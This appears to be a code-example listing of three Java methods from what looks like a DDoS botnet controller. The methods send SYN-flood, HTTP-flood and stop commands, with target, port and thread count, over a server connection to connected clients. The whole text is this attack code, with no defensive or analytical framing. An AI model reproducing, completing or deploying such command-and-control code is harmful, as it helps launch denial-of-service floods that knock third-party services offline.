Esempio n. 1
0
 public static void sendSyn(Server server, String target, int port, int threads) {
   Packet p =
       new Packet3Dos(
           server.outputstream,
           new String[] {"syn", target, String.valueOf(threads), String.valueOf(port)});
   p.write();
 }
Esempio n. 2
0
 public static void sendHttp(Server server, String target, int threads) {
   Packet p =
       new Packet3Dos(server.outputstream, new String[] {"http", target, String.valueOf(threads)});
   p.write();
 }
Esempio n. 3
0
 public static void sendStop(Server server) {
   Packet p = new Packet3Dos(server.outputstream, new String[] {"stop"});
   p.write();
 }